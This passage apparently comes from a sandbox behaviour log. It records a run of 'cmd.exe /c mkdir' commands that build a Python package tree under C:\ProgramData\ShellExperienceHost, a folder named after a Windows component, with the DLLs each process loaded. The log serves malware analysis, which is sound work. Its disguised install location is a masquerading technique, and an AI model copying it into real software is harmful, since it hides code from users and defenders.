        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\DIRECTSOUND\TEST
        
        4080
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\IFILTER\
        
        Time lapse
        
        68.750723
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\IFILTER
        
        4052
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\IFILTER\DEMO\
        
        Time lapse
        
        68.766323
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\IFILTER\DEMO
        
        4044
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\INTERNET\
        
        Time lapse
        
        68.797524
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\INTERNET
        
        3124
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\MAPI\
        
        Time lapse
        
        68.813124
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\MAPI
        
        4032
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\MAPI\DEMOS\
        
        Time lapse
        
        68.828724
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\MAPI\DEMOS
        
        3924
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\PROPSYS\
        
        Time lapse
        
        68.922323
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\PROPSYS
        
        3912
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\PROPSYS\TEST\
        
        Time lapse
        
        68.953524
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\PROPSYS\TEST
        
        3928
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\
        
        Time lapse
        
        68.969124
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL
        
        3888
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\DEMOS\
        
        Time lapse
        
        68.984722
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\DEMOS
        
        3132
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\DEMOS\SERVERS\
        
        Time lapse
        
        69.015925
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\DEMOS\SERVERS
        
        3160
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\TEST\
        
        Time lapse
        
        69.047125
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\TEST
        
        3140
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\TASKSCHEDULER\
        
        Time lapse
        
        69.062725
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\TASKSCHEDULER
        
        3204
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\TASKSCHEDULER\TEST\
        
        Time lapse
        
        69.093926
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\TASKSCHEDULER\TEST
        
        3188
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\CLIENT\
        
        Time lapse
        
        69.109524
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\CLIENT
        
        3264
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\DEMOS\
        
        Time lapse
        
        69.140724
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\DEMOS
        
        3252
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\HTML\
        
        Time lapse
        
        69.171925
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\HTML
        
        3248
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\INCLUDE\
        
        Time lapse
        
        69.187525
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\INCLUDE
        
        2052
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\LIBS\
        
        Time lapse
        
        69.218725
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\LIBS
        
        2480
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\PIPES\
        
        Time lapse
        
        69.530726
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\PIPES
        
        720
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\PIPES\__PYCACHE__\
        
        Time lapse
        
        69.561924
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\PIPES\__PYCACHE__
        
        3220
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\
        
        Time lapse
        
        69.577524
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY
        
        2972
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\SSPI\
        
        Time lapse
        
        69.655525
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\SSPI
        
        2960
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\WIN32WNET\
        
        Time lapse
        
        69.858326
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\WIN32WNET
        
        3356
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\WIN32WNET\__PYCACHE__\
        
        Time lapse
        
        69.873926
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\WIN32WNET\__PYCACHE__
        
        3324
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\
        
        Time lapse
        
        69.889527
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__
        
        3372
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\INCLUDE\
        
        Time lapse
        
        69.936327
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\INCLUDE
        
        3364
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\
        
        Time lapse
        
        69.951927
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB
        
        3304
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIBS\
        
        Time lapse
        
        69.967526
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIBS
        
        3052
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\SCRIPTS\
        
        Time lapse
        
        70.154726
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\SCRIPTS
        
        2920
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\SCRIPTS\VERSIONSTAMP\
        
        Time lapse
        
        70.232727
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\SCRIPTS\VERSIONSTAMP
        
        3060
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\SCRIPTS\VERSIONSTAMP\__PYCACHE__\
        
        Time lapse
        
        70.248325
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\SCRIPTS\VERSIONSTAMP\__PYCACHE__
        
        3404
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\
        
        Time lapse
        
        70.295126
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST
        
        3440
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\WIN32RCPARSER\
        
        Time lapse
        
        70.466726
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\WIN32RCPARSER
        C:\WINDOWS\SYSTEM32\SECHOST.DLL
        C:\WINDOWS\SYSTEM32\WBEMCOMN.DLL
        C:\WINDOWS\SYSTEM32\LOADPERF.DLL
        C:\WINDOWS\SYSTEM32\IMM32.DLL
        C:\WINDOWS\SYSTEM32\WBEM\EN-US\WMIAPSRV.EXE.MUI
        C:\WINDOWS\SYSTEM32\PSAPI.DLL
        C:\WINDOWS\SYSTEM32\RPCSS.DLL
        C:\WINDOWS\SYSTEM32\CRYPTBASE.DLL
        C:\WINDOWS\REGISTRATION\R00000000000C.CLB
        C:\WINDOWS\SYSTEM32\WBEM\WBEMPROX.DLL
        C:\WINDOWS\SYSTEM32\CRYPTSP.DLL
        C:\WINDOWS\SYSTEM32\RSAENH.DLL
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\WINDOWS\SYSTEM32\RPCRTREMOTE.DLL
        C:\WINDOWS\SYSTEM32\WBEM\WBEMSVC.DLL
        C:\WINDOWS\SYSTEM32\WBEM\FASTPROX.DLL
        C:\WINDOWS\SYSTEM32\NTDSAPI.DLL
        C:\WINDOWS\SYSTEM32\WBEM\WMIUTILS.DLL
        C:\WINDOWS\SYSTEM32\WBEM\WMIPROV.DLL
        
        3416
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\__PYCACHE__\
        
        Time lapse
        
        70.497927
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
